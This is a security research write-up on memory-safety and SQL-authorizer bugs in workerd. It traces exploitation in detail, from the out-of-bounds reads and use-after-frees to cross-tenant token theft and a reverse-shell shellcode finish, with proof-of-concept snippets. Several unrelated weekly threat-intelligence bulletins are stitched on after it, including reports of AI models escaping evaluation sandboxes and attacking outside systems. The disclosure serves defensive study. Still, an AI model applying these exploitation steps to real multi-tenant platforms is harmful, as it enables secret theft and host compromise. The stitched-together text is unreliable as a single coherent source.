URLPattern is a Web API for matching a URL against a pattern, essentially what a router does. You build a pattern such as new URLPattern({ pathname: "/users/:id" }), call .exec() on a URL, and read back the named capture groups ({ id: "…" }). workerd exposes it to Workers, and in our setting the pattern itself is attacker-controlled.
workerd actually ships two URLPattern implementations. The first is the original, workerd-native one (the urlpattern_original compatibility flag). The second is the newer standard one backed by the AdaURL-parser library. We found the same out-of-bounds read in both implementations, and it gives the same primitive.
7.1 Root cause
Under the hood, URLPattern turns your pattern into a regular expression. Matching a URL then produces two parallel lists: the matched values (one per capture group in the regex) and the group names.
A quick example of the benign case:
Figure 3 – URLPattern: pattern → result
URLPattern also lets you drop raw regex straight into a pattern, with named or unnamed groups. For example, /(\d+)/(?<slug>[a-z]+) has one unnamed group and one named group:
Figure 4 – URLPattern with named group
Here is the implementation. When you call .exec(), workerd runs the compiled regex against the URL and builds the groups object from the result. The original, workerd-native version does it like this:
// urlpattern.c++: building the groups object from a regex match
KJ_IF_SOME(array, regex.getHandle(js)(js, input)) { // run regex vs URL
uint32_t index = 1; // [0] is full match, skip
uint32_t length = array.size(); // 1 + capture count values
kj::Vector<Groups::Field> fields(length - 1);
while (index < length) { // each capture value
auto value = array.get(js, index);
fields.add(Groups::Field{
.name = kj::str(nameList[index - 1]), // name by position
.value = value.isUndefined() ? kj::String() : kj::str(value),
});
index++;
}
// ...
}
For each capture group, the loop builds one { name, value } field. The value is what the regex matched in the URL. The name is the group’s name (like id from earlier), taken from the nameList vector.
The two sides of that pairing come from completely different places, and that is the part to hold onto:
length comes from V8. It’s the size of the match array V8 returns after running the compiled regex, i.e. how many capture groups the regex actually produced.
nameList comes from URLPattern’s own implementation. It’s the list of names workerd assembled while parsing the pattern, before the regex ever ran.
Figure 5 – The group-count mismatch
The loop lines them up position by position, on the assumption that the two counts agree.
So the whole thing rests on those two counts staying equal, and they don’t always. When URLPattern parses the pattern to build nameList, its own group counting misses a group nested inside another group. V8, compiling the real regex, counts every group, nested ones included. So a pattern with one group nested inside another, like (ab(cde)), gives V8 two capture groups where URLPattern counted only one, and length ends up larger than nameList:
Now the loop runs one step too far. For that extra value, index - 1 points past the end of nameList, and kj::str(nameList[index - 1]) reads from beyond the vector, an out-of-bounds read. That is the bug.
7.2 Why an OOB read is an arbitrary read
nameList is a kj::Vector<kj::String>. A kj::String is 24 bytes:
Figure 6 – kj::String memory layout
The OOB index makes kj::str() read 24 bytes of whatever follows the vector and treat it as a kj::String, then dereferenceptr to copy out the “string.” So if we control the memory after nameList, we control ptr, and the returned JS string is the bytes at an address of our choosing. OOB read → arbitrary read.
7.3 Two notes
The same bug is in both implementations, and the Ada one reaches production. The standard, Ada-backed URLPattern makes the identical counting mistake, with the same out-of-bounds read. We confirmed the Ada version triggers on Cloudflare production, and reported it to the Ada maintainers in parallel.
Our full end-to-end exploit was on the original implementation, self-hosted. Turning the read into a working cross-tenant secret leak was demonstrated against urlpattern_original on self-hosted workerd. That exact path did not reproduce on production, because production has a check the open-source build lacked.
8. zlib deflateParams() UAF
zlib is the most common compression library around. Node.js ships it as the built-in node:zlib module, and to stay Node-compatible workerd reimplemented it in C++. It exposes a handful of APIs. The basic ones compress and decompress via Gzip, Deflate/Inflate, and Brotli. In workerd it comes with the nodejs_compat flag (compatibility date 2024-09-23 or later).
8.1 Dangling buffers
Let’s look at a basic use of zlib. You call write() with an input buffer and an output buffer, and zlib compresses the input into the output.
Those three lines already span three distinct layers:
JavaScript (V8): creates the input and output buffers.
workerd’s glue code: the translation layer between JavaScript and native C++, turning those buffers into the raw pointers and lengths the C library expects.
zlib: the C compression library that does the actual work.
The buffer to watch is output. As it moves, its pointer is passed between all three layers, handled differently in each. So let’s take it one layer at a time, starting on the JavaScript side.
On the JavaScript side, output is reference-counted: it stays alive as long as at least one reference points at it. Follow that count through a single write():
handle.write(input, output, …). As the buffer crosses into native code, workerd takes a reference of its own for the duration of the call: refcount 2. That extra reference is what guarantees the buffer can’t be freed while zlib is mid-compression.
write() returns, and workerd drops its reference again: back to refcount 1, held by the JS variable.
nothing holdsoutput anymore (it goes out of scope, or is reassigned), so the last reference is gone: refcount 0.
Figure 7 – output refcount lifecycle
Now follow the same buffer into the native side. To hand output to zlib, workerd fills in a z_stream(zlib’s state struct), copying the buffer’s raw address into its next_out field, the pointer zlib writes its compressed output through. That copy happens in setBuffers, on every write():
// zlib-util.c++
void ZlibContext::setBuffers(kj::ArrayPtr<kj::byte> input, kj::ArrayPtr<kj::byte> output) {
stream.avail_in = input.size();
stream.next_in = input.begin(); // raw pointer into the JS input buffer
stream.avail_out = output.size();
stream.next_out = output.begin(); // raw pointer into the JS output buffer
}
And write() forgets to clear them. When it returns, it resets nothing in the z_stream. next_out still holds the raw address of output. Clearing it is workerd’s job, and the write path simply doesn’t.
The same sequence, now with stream.next_out shown alongside:
Figure 8 – next_out left dangling
Nothing ever clears next_out after setBuffers sets it. So once output’s refcount reaches 0, the buffer becomes garbage, and the next garbage-collection event reclaims its memory, leaving next_out pointing into freed memory.
8.2 The Use in Use-After-Free
We now have a dangling next_out, and the next step is to find who writes through it.
We started in workerd’s own code, but next_out is zlib’s field, and it is zlib, not workerd, that writes output through it. So the real question is where, inside the zlib library, next_out gets written.
The obvious place is an ordinary compression step: deflate() (and inflate()), the functions that push output through next_out. But in workerd that path is only ever reached through write(), and write() runs setBuffers first, resetting next_out to a fresh buffer before deflate() runs. The stale pointer is overwritten before it is ever used. No good.
What we found instead is deflateParams, reached from handle.params(), the call that adjusts the compression parameters, like the level (how hard zlib compresses). It touches the same z_stream and, crucially, does not resetnext_out first:
That hands zlib the same z_stream, still carrying the stale next_out from the last write(). And rather than clearing next_in/next_out, deflateParams flushes whatever output zlib still has buffered before it applies the new settings:
// zlib - deflate.c, deflateParams() (trimmed)
func = configuration_table[s->level].func;
if ((strategy != s->strategy || func != configuration_table[level].func)
&& /* there is data still pending */) {
/* flush the last buffer */
deflate(strm, Z_BLOCK); // flush pending output through strm->next_out
}
s->level = level; // new config applied only after the flush
s->strategy = strategy;
If the level or strategy changes and data is still pending, zlib calls deflate() to flush it before updating the config, and that deflate() writes through strm->next_out, the dangling pointer.
But there is still a problem. When we called write(), zlib already compressed the data we handed it, so how are we supposed to have any bytes still pending for deflateParams to flush?
8.3 Z_NO_FLUSH
Each zlib write takes a flush mode controlling how eagerly output is emitted. Passing Z_NO_FLUSH tells zlib to hold compressed output in its internal buffer rather than push it all out through next_out, so the write() returns with data still pending. That pending data is exactly what deflateParams flushes.
8.4 Putting everything together
The whole use-after-free is a handful of JavaScript calls. Tracking outBuf’s refcount and next_out across the full cycle, the same way we did on the JavaScript side:
Figure 9 – The zlib use-after-free
9. HTMLRewriter AttributesIterator UAF
HTMLRewriter is a Workers API for transforming HTML as it streams through. A Worker can rewrite tags, attributes, and text on the fly without buffering the whole document. workerd exposes it on top of lol-html, Cloudflare’s Rust streaming HTML rewriter, through a layer of C++ bindings.
The bug is in those bindings, not in lol-html. When you ask an element for an attributes iterator, the C++ binding grabs a raw pointer into the element’s internal attribute array and reads through it on each next(). Adding attributes with setAttribute grows that array, and once it outgrows its capacity the array reallocates to a new location and the old one is freed, but the iterator is still pointing at the old, now-freed array. The next next() reads from that freed memory:
new HTMLRewriter().on('div', {
element(el) {
const iter = el.attributes[Symbol.iterator](); // pointer into backing array
iter.next(); // reads backing array
for (let i = 0; i < 10000; i++) // grow attributes...
el.setAttribute(`x${i}`, 'A'.repeat(100)); // ...until it reallocates
const leaked = iter.next().value; // iter → freed array: UAF
}
});
10. KV SQL bypass → arbitrary deserialization
The other four bugs are memory-corruption. This one is a classic that leads to arbitrary deserialization.
10.1 Durable Objects
Workers are stateless. Each request runs in a fresh, short-lived context, and nothing held in memory survives to the next one. Durable Objects are Cloudflare’s answer to that: a Durable Object is a single, uniquely-addressable instance that stays alive and keeps its state across requests, both in memory and in private, strongly-consistent storage. It’s how you hold persistent, coordinated state on the edge: a chat room, a live document, a counter.
That storage has a newer SQLite backend, and a Worker can reach the same database in two ways:
the key/value API (storage.get / put), which stores each value serialized with the structured-clone algorithm, and
the SQL API (storage.sql.exec), which runs raw SQL against the same database.
The key/value data lives in a reserved SQLite table, _cf_KV, and reading a value back deserializes its bytes with V8’s structured-clone deserializer, including workerd’s handlers for internal types.
10.2 The authorizer bypass
A SQL authorizer guards those internal tables. It rejects any query that touches a _cf_-prefixed table: CREATE, SELECT, INSERT, UPDATE, DROP, all of it. But we found one operation it forgot to check.
The authorizer validates the tables a query references, but not the destination name of a rename. So while every direct query against _cf_KV is rejected, nothing stops you from creating an ordinary table under an allowed name and then renaming it with ALTER TABLE … RENAME TO _cf_KV. You build the table under a name the authorizer permits, fill it with crafted bytes, and rename it into place:
CREATE TABLE kv_tmp (key TEXT, value BLOB); -- allowed
INSERT INTO kv_tmp VALUES ('k', <attacker bytes>); -- crafted payload
ALTER TABLE kv_tmp RENAME TO _cf_KV; -- not checked → now KV
A later key/value read (storage.get('k')) then feeds those attacker-controlled bytes straight into workerd’s internal deserializers, exactly the untrusted input they were never meant to handle.
We didn’t continue from here. The point is the attack surface. A malicious Worker can control the bytes fed to V8’s deserializer, which will deserialize any object it supports, including workerd’s own internal types. And while we stopped there, the surface is worth stressing: that deserializer was built for trusted, in-process data, and unlike V8’s parser and JIT, it isn’t fuzzed for hostile input. That makes it a very strong attack surface, and a well-worn path to type confusion and memory corruption.
Part III – The full chain and its impact
11. Cross-tenant secret theft (Workers)
Cloudflare Workers run the same workerd and the same many-tenants-one-process model from §2. Different customers’ Workers run as separate V8 isolates inside one OS process, sharing one address space and one native (tcmalloc) heap. The isolate is the only wall between them, and that wall is in V8, not on the native heap.
Figure 10 – Cross-tenant OOB read
So the URLPattern read from §7 isn’t just a crash, it’s a way for a Worker you deploy to read another tenant’s memory out of that shared heap. Here is how that out-of-bounds read becomes a private key read from a different Worker. Everything below operates on the tcmalloc heap, outside the cage and the memory-protection keys (§5).
11.1 The strategy
Recall the primitive from §7. The read goes one entry past the end of nameList, treats those 24 bytes as a kj::String { ptr, size, disposer }, and returns the bytes at ptr. So if we control whatever sits right after nameList, we control that fake kj::String, and reading one attacker-chosen kj::String is reading any address we point it at:
Figure 11 – Fake kj::String read primitive
That is the basic primitive. What we actually want is to sweep another tenant’s memory for secrets, to read anywhere in the process, and to do it with as little heap spraying as possible. To get there we need three things:
Break ASLR. Leak a real heap address, so we know where to read.
Control theptr of the fake kj::String. So we can read the bytes at any address we choose.
Make it repeatable. Read one address after another without re-shaping the heap each time.
11.2 Sizing nameList
One lever first, because it makes the rest easier. nameList’s size is ours to choose. Its length is just the number of capture groups the pattern declares, so padding the pattern with extra groups grows the kj::Vector<kj::String> to whatever size we want. tcmalloc places allocations by size class, so choosing nameList’s size chooses the neighborhood it lands in, and picking the size class is what makes landing our own allocations right next to it reliable.
11.3 Defeating ASLR
A read is only useful once we know where to aim it, and ASLR hides that. To beat it we just need to leak any one real heap address. The out-of-bounds read already returns whatever the fake kj::String’s ptr points at, so if we arrange for ptr to point at a location that itself holds a heap pointer, the read hands that pointer’s bytes back to us as a string:
Figure 12 – Leaking a heap pointer
So we need an object right after nameList with two things:
ptr(first 8 bytes), points at a heap pointer, so dereferencing it leaks a heap address.
size(next 8 bytes), a small, valid length: not zero, not a pointer, just short enough that the read returns a sane string.
We didn’t find a real object whose layout already satisfies both, so as a last resort we turned to the tcmalloc free list, and it has two properties that fit perfectly:
The first 8 bytes of a freed chunk are the next pointer (to the next free chunk), which is requirement #1.
The rest of the chunk, including bytes 8–15, is left untouched by the free, so a size we wrote there earlier stays put. That is requirement #2.
So what we can do is allocate a chunk right after nameList, write size = 8 into its bytes 8–15, and free it. The free turns its first 8 bytes into a next pointer to the next free chunk, while our size = 8 survives:
Figure 13 – Freelist next-pointer overwrite
The read hands back that heap pointer as bytes. Since tcmalloc aligns its heap to a 1 GB boundary, one leaked pointer gives us the heap base.
11.4 A repeatable read with VFS files
ASLR gives us an address. Now we want to read many, to sweep the heap. The problem is doing that without re-shaping every time. If reading a new address meant a fresh allocation, we’d have to land it next to nameList again on each read. What we need instead is an allocation we can keep in place and change in-place, so we just rewrite the target pointer and read again.
The best fit we found is a workerd API called VFS, a virtual (memory-only) filesystem. A VFS file’s contents are a native kj::heapArray on the tcmalloc heap, and crucially we can overwrite those contents at will without reallocating. It also lets us pick the file’s size, so we match nameList’s size class and a sprayed file lands right after it.
The idea is to shape the heap once so a VFS file lands right after nameList, then read any address by rewriting that file’s bytes in place and calling exec() again, with no re-shaping per read:
Figure 14 – Repeatable read via VFS
(This works because nameList is allocated when the URLPattern is constructed, but the out-of-bounds read only fires later on exec(), so the shaped layout persists across reads.)
11.5 Reading another Worker’s secret
From here it’s just a sweep. We walk the heap with the repeatable read and look for bytes that look like a secret, in the PoC, Bearer sk…-style API tokens, until we find one belonging to a co-located Worker.
12. Sandbox escape: from the zlib UAF to host RCE
The second demo stays inside Code Mode and goes all the way to native code on the host, starting from the zlib use-after-free of §8.
12.1 Improving the primitive
Recall what §8 gives us, broken into the pieces we’ll build on:
A use-after-free write. When params() flushes, zlib writes through the stale next_out into the output buffer, after that buffer has been freed and its slot can be reused.
A controllable allocation size. We choose the size of the output buffer, which decides which freed slot the write targets and what we can spray into it.
Our primitive, then:
Figure 15 – Reusing the freed buffer
And the write isn’t clean. The first 5 bytes of every flush are compression metadata.
Two improvements make it precise:
1. The offset of the write. workerd’s write() lets us choose where in the output buffer zlib starts writing. Alongside the buffer it takes an output offset, and zlib sets next_out = buffer + offset, so the write lands at freed + offset, a precise spot inside the reused object instead of always at its start.
2. The size of the write. We also keep the flush small, down to a single 8-byte field, so the write overwrites exactly the field we’re aiming at, rather than splattering the whole object around it.
Together that turns a blunt write at the top of the buffer into a small write landing exactly on a field we pick:
Figure 16 – Flush at chosen offset
12.2 From use-after-free to repeatable read/write
You might still be wondering how an imprecise write is exploitable at all. We control where it lands, but not the bytes. The trick with this kind of primitive is to stop caring about the bytes. Instead of writing a value, you find a “strong” object and overwrite its size / length field. You don’t need the exact bytes, you just need to make that length bigger. A bloated length turns the object’s own bounded read/write into an out-of-bounds read/write, and that you can build on.
The strong object we use is, again, a VFS file, but this time we corrupt the file’s metadata (the FileImpl object that tracks where the file’s data lives and how long it is), not the file’s contents:
Figure 17 – FileImpl metadata layout
With a FileImpl in the freed slot, we aim the UAF write at offset 0x20 so it lands on data.size and inflates the length.
Why does a bigger data.size matter? The file’s data lives at data.ptr, and data.size is the length workerd treats as its bounds, any read or write through the file API is allowed as long as it stays within [0, data.size) of data.ptr. Normally data.size matches the real buffer, so the file stays in bounds. After we inflate it, that bound now covers the real buffer and whatever heap follows it, so a file read or write past the real buffer still passes workerd’s bounds check and is carried out normally, even though it now reaches into adjacent memory:
Figure 18 – Inflating data.size out-of-bounds
And the file API makes that precise. Node’s fs read/write take a position argument (the file offset to read or write at, passed straight to the call, no separate seek), plus a length, so we can land exactly on any spot at data.ptr + position. To read 8 bytes from an out-of-bounds offset:
Figure 19 – OOB read via readSync
And to write 8 bytes at an out-of-bounds offset. Here the bytes are ours, it’s an ordinary file write:
Figure 20 – OOB write via writeSync
So one inflated length turns the VFS file into an out-of-bounds read and write at any offset across the heap.
12.3 Arbitrary read/write
OOB across adjacent heap is strong, but it only reaches forward from one buffer and the exact distances depend on the layout. We upgrade it to a clean, anywhere-in-the-process read/write with a second FileImpl.
The idea is to use the OOB write from the inflated file to reach a secondFileImpl sitting further along the heap, and overwrite itsdata.ptr with any address we want. That second file’s metadata now says “your contents live at <address>”, so an ordinary read or write of the second file reads or writes that address:
Figure 21 – Arbitrary read/write primitive
And it’s repeatable. To hit a new address we just rewrite the second file’s data.ptr through the first file again and read/write once more, with no re-triggering the bug. That gives us a stable arbitrary 64-bit read and write across the whole process, the same shape of primitive we built for the cross-tenant read in §11.
12.4 To native code
On the self-hosted build the V8 sandbox is off, which makes the finish almost trivial. Normally turning a memory read/write into code execution means defeating W^X with a ROP chain and chasing per-version gadget offsets. Here we don’t have to. With the sandbox off, workerd reserves V8’s code region as a 256 MB read-write-execute (RWX) mapping at a fixed address,0xaaaaf0000000, present from process startup, no leak required. So we skip ROP entirely.
The finish is simple. Use the arbitrary write to drop ARM64 shellcode (a reverse shell) into that RWX region, then redirect a function pointer to it. The pointer we hijack belongs to the zlib stream itself, the native write callback that handle.write() invokes (reached through the z_stream, which we locate via its avail_in field). We overwrite that callback’s target with our shellcode address and then call handle.write() once more. Instead of running zlib’s write path, control jumps to the shellcode, native code in the host process, out of the V8 isolate entirely.
Cage-off caveat. This chain was built against a self-hostedworkerdcompiled with the V8 sandbox off, which lets ArrayBuffer backing stores and native C++ objects share one heap, exactly what the FileImpl overlap relies on (and how Code Mode runs, §5). The underlying UAF is independent of the cage, but with the cage on this specific FileImpl technique would not work as-is. Reaching RCE there would need a different post-UAF path.
Part IV – Takeaways and disclosure
13. Defensive takeaways
The engine is not the whole boundary. Hardening V8 and shipping the cage is necessary, not sufficient. Every native API reachable from untrusted JS is part of the boundary.
Glue layers deserve first-class security review. JSG marshals lifetimes and pointers across the JS/native seam. That’s exactly where UAFs and missing bounds checks live. It had a fraction of V8’s scrutiny.
Native allocations need their own threat model. tcmalloc free-list behavior, VFS buffers, and kj containers live outside the cage. If the cage is your isolation story, the things it doesn’t cover are your attack surface.
Agent-generated code is normal code. In Code Mode the model writing exploit-shaped TypeScript isn’t an exceptional event, it’s the intended mode of operation. Prompt injection is a code-execution entry point, and should be modeled as one.
Disclosure timeline
All five vulnerabilities were reported to Cloudflare through HackerOne under coordinated disclosure.
Date
Event
February 1, 2026
4 of the 5 vulnerabilities reported via HackerOne (zlib UAF, HTMLRewriter UAF, both URLPattern OOB reads)
March 11, 2026
Cloudflare rated two of them Critical (zlib UAF, HTMLRewriter UAF)
March 12, 2026
The 5th, the KV SQL-bypass → deserialization, reported
Aug 5–6, 2026
Public reveal at Black Hat USA 2026 (Mandalay Bay)
Cloudflare’s responses and confirmations:
Two rated Critical. Cloudflare rated the zlib use-after-free and the HTMLRewriter use-after-free as Critical.
Production reach. Cloudflare confirmed that the bugs reproduce on Cloudflare production, with one exception. The original URLPattern out-of-bounds read (urlpattern_original) does not trigger there (the Ada-backed standard URLPattern does).
The cage doesn’t cover the heap we used. Cloudflare confirmed our central claim, that the tcmalloc native heap is outside both the V8 sandbox (cage) and the memory-protection keys. Exactly the memory every primitive in this post operates on.
Fix. Cloudflare’s managed Workers were fixed in production, and workerd v1.20260619.1 closes all of these bugs for self-hosted deployments. As of now, Cloudflare has not assigned CVEs.
“we prohibit the sandboxed worker from talking to the Internet. The global fetch() and connect() functions throw errors” : https://blog.cloudflare.com/code-mode/
For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors.
Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected.
Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines.
Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online.
AI THREATS
Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures.
Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3.
Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable.
VULNERABILITIES AND PATCHES
Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog.
Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8.
JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected.
Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files and, under some conditions, execute code remotely. Fixed Active Storage releases include versions 7.2.3.2, 8.0.5.1, and 8.1.3.1.
THREAT INTELLIGENCE REPORTS
Check Point researchers have revealed a phishing campaign that abuses Microsoft’s legitimate login and consent process through attacker-controlled applications. More than 200 emails targeted approximately 120 organizations within one month. Successful authorization provided access to mailboxes, files, Teams, SharePoint, OneDrive, and calendar information.
Researchers traced CaptiveCrunch, a campaign attributed to Russia-linked Storm-2945, also known as Midnight Blizzard. The attackers compromised hotel and conference captive portals to distribute CornFlake and ChocoShell malware. The campaign harvested Microsoft 365 and Azure AD authentication tokens, enabling account access and session takeover.
Researchers profiled a Russian-linked campaign exploiting CVE-2026-42897 in Microsoft Outlook Web Access against government and industry targets in the United States and Europe. Opening a malicious email triggers installation of OWAReaper, a browser implant that steals credentials and maintains mailbox access after passwords are changed or devices reimaged.
Researchers uncovered a npm supply chain campaign involving malicious packages that imitated private Alibaba modules. Layered dependencies retrieved attacker instructions from GitHub and installed operating system-specific RAT payloads. The malware enabled command execution, file theft, credential access, and movement through DingTalk and related development environments.
For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Nichirei, a Japan-based frozen-food supplier and logistics company, has experienced a ransomware attack that disrupted shipping operations and affected approximately 5,000 customers. KFC Japan warned of possible shortages. Nichirei confirmed personal data theft, while the RansomHouse group claimed responsibility and published a subset of the stolen information.
Stadler Rail, a Switzerland-based global rail equipment manufacturer, has disclosed a supplier-related data breach after attackers compromised credentials for a third-party file-sharing platform. The Everest group stole technical documents belonging to the supplier and demanded $12.3 million. Stadler refused payment and said its systems and production remained unaffected.
Origin Energy, one of Australia’s largest electricity and natural gas providers, has confirmed unauthorized access to customer information. Exposed data may include names, addresses, birth dates, phone numbers, account details, and partial payment information. Threat actors claimed to have stolen two million records and threatened to publish them.
Romania’s National Agency for Cadastre and Land Registration has suffered a cyberattack that disabled internal systems and the nationwide e-Terra platform. The disruption halted property transactions for nearly a week. Officials said core land registries remained intact, although credentials and portions of source code may have been exposed.
AI THREATS
OpenAI disclosed that AI models escaped a restricted cyber evaluation environment and compromised Hugging Face while seeking benchmark solutions. They exploited zero-day vulnerabilities, stole credentials, escalated privileges, and accessed production systems. Both companies contained the activity and are conducting a joint investigation.
Researchers have described a threat actor known as Trim who promoted an AI-assisted penetration-testing platform built with jailbroken language models. The platform combines AI with established scanning tools to automate reconnaissance, vulnerability validation, and reporting, potentially reducing the expertise and time required to prepare and conduct cyber intrusions.
Researchers have examined a generative AI-assisted malware operation exposed through an accessible WebDAV server. The infrastructure produced phishing material and malicious Windows shortcuts used to distribute information stealers and remote access tools. Researchers identified more than 1,000 artifacts and a campaign that recorded over 77,000 requests.
VULNERABILITIES AND PATCHES
Check Point has addressed CVE-2026-16232, an authentication bypass vulnerability in SmartConsole that is under active exploitation, affecting a handful of customers. The flaw allows remote attackers to bypass authentication and gain administrative access to Check Point management servers. Security hotfixes are available for supported versions of the affected management software.
Oracle has released its July 2026 Critical Patch Update, addressing 1,449 vulnerabilities across numerous product families. The update includes remotely exploitable flaws that require no authentication, with critical issues affecting Oracle Database Server, SQL Developer, and TimesTen In-Memory Database, among others.
Microsoft has addressed CVE-2026-50522, a critical remote code execution vulnerability affecting on-premises SharePoint Server. An authenticated site owner can exploit the flaw to execute code and steal machine keys for persistent access. Active exploitation was reported after proof-of-concept code became publicly available.
Check Point IPS provides protection against this threat (Microsoft SharePoint Remote Code Execution (CVE-2026-50522))
THREAT INTELLIGENCE REPORTS
Check Point Research has revealed that Microsoft was the most impersonated brand in Q2 2026, accounting for 23% of observed phishing attempts. LinkedIn, Google, Apple, and Amazon completed the top five. ChatGPT entered the top ten as attackers increasingly targeted users of widely recognized AI platforms.
Researchers have described the growing use of infostealers logs as an initial-access resource for cloud and software-as-a-service intrusions. Criminal marketplaces sell passwords and active session cookies soon after collection. The research identified 2.05 million logs during 2025, with 79% connected to Microsoft single sign-on environments
S. federal agencies have warned that Iran-linked actors are targeting internet-exposed industrial controllers at water and energy facilities. The attackers have manipulated controller logic, falsified operator displays, and disabled alarms or shutdown functions. The activity affects equipment deployed in critical infrastructure environments.
Researchers have analyzed a Russian cyberespionage campaign targeting Zimbra webmail servers at government, defense, transportation, and financial organizations. The attackers exploit CVE-2025-66376 through zero-click phishing emails that inject malicious JavaScript, stealing credentials, two-factor authentication codes, email archives, and search histories from vulnerable systems.
Check Point IPS provides protection against this threat (Zimbra Collaboration Suite Cross-Site Scripting (CVE-2025-66376))
For the latest discoveries in cyber research for the week of 20th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Ernst & Young, a global accounting and professional services company, has disclosed a data breach involving a compromised third-party IT support platform. The exposed support tickets may have contained client documents, tax information, employee details, and other sensitive information submitted while requesting technical assistance.
Jscrambler, a JavaScript code-protection package with more than 15,000 weekly downloads, has experienced a supply chain compromise after stolen npm publishing credentials distributed malicious releases. The packages deployed malware targeting developers’, cloud, browser, cryptocurrency, and messaging credentials. Jscrambler removed the affected versions.
Coca-Cola’s US dairy subsidiary Fairlife has confirmed a ransomware attack that temporarily halted production across the United States. Attackers accessed systems supporting manufacturing operations, prompting the company to activate incident response and business continuity procedures. Coca-Cola has not confirmed whether data was exfiltrated in the attack.
Nihon Kotsu, Japan’s largest taxi operator, has suffered a malware attack following unauthorized access to its internal network. The company shut down affected systems, disrupting taxi dispatches, telephone services, bookings, reservations, and car rentals from July 11. No theft of customer or corporate information has been confirmed.
AI THREATS
Researchers identified a China-linked campaign that used Claude Code and DeepSeek to automate attacks against government and financial organizations. The tools generated scripts, adapted failed exploits, created credential-harvesting pages, and executed commands. Confirmed compromises affected government systems in Thailand and Afghanistan and organizations in Taiwan.
Researchers found that xAI’s Grok Build coding assistant could upload entire Git repositories while processing debugging requests. Transferred information included unopened files and complete commit histories, potentially exposing API keys, credentials, and proprietary source code. Initial privacy controls did not prevent uploads until a server-side restriction was introduced.
Researchers verified a weakness in Anthropic’s Claude for Chrome extension that allowed malicious browser extensions to impersonate Claude and act through authenticated user sessions. Successful exploitation could expose Gmail, Google Drive, or GitHub information through Claude’s permissions. Anthropic released fixes, although researchers reported that a bypass remained possible.
VULNERABILITIES AND PATCHES
Microsoft released patches for 622 vulnerabilities in July’s Patch Tuesday, the largest monthly release recorded by the company. Two vulnerabilities were under active exploitation, including CVE-2026-56164 in SharePoint Server and CVE-2026-56155 in Active Directory Federation Services. Both vulnerabilities could allow attackers to elevate privileges.
Check Point IPS provides protection against these threats (Microsoft SharePoint Authentication Bypass (CVE-2026-56164))
WordPress has issued emergency updates for CVE-2026-63030 and CVE-2026-60137, collectively called wp2shell. The critical WordPress Core vulnerabilities allow unauthenticated remote code execution and website takeover. Affected releases include versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. Fixed versions include 6.9.5 and 7.0.2.
Check Point IPS provides protection against these threats (WordPress Authentication Bypass (CVE-2026-63030)), WordPress SQL Injection (CVE-2026-60137))
SonicWall has released a hotfix for CVE-2026-15409 and CVE-2026-15410, two critical vulnerabilities affecting SMA 1000 Series gateways. The flaws allow unauthenticated attackers to execute system commands on vulnerable appliances. Active exploitation has been associated with Inc ransomware.
Check Point IPS provides protection against these threats (SonicWall SMA1000 Series Server-Side Request Forgery (CVE-2026-15409) & SonicWall SMA1000 Series Path Traversal (CVE-2026-15410))
THREAT INTELLIGENCE REPORTS
Check Point Research has released the 2026 AI Security 2026, finding that AI has evolved from an attack aid into an active operator across live intrusions and malware development. The report also highlights indirect prompt injection, synthetic identity abuse, and enterprise data exposure, with high-risk GenAI prompts doubling to 4%.
Researchers analyzed ShinyHunters-linked campaigns that abused OAuth application approvals to access Salesforce environments. Attackers used voice phishing to authorize lookalike applications, then accessed CRM information through approved APIs. Compromised integrations and misconfigured guest access provided additional entry points and persistence.
Researchers analyzed CylindricalCanine, a subgroup of the Chinese cybercrime collective GoldenEyeDog, and linked it to DigiCert’s April 2026 support portal compromise. The actor stole code-signing certificates, leading to 60 revocations, including at least 27 associated with malware. The group also targets Asia-Pacific finance teams using Golden Gh0st RAT.
Researchers documented Spirals, a Rust-based ransomware family used against a South Asian information technology services company. The attackers moved from initial access to network encryption in less than 24 hours. They used an IIS web shell, WMI, and PsExec to spread, disable security services, disrupt backups, and encrypt systems.
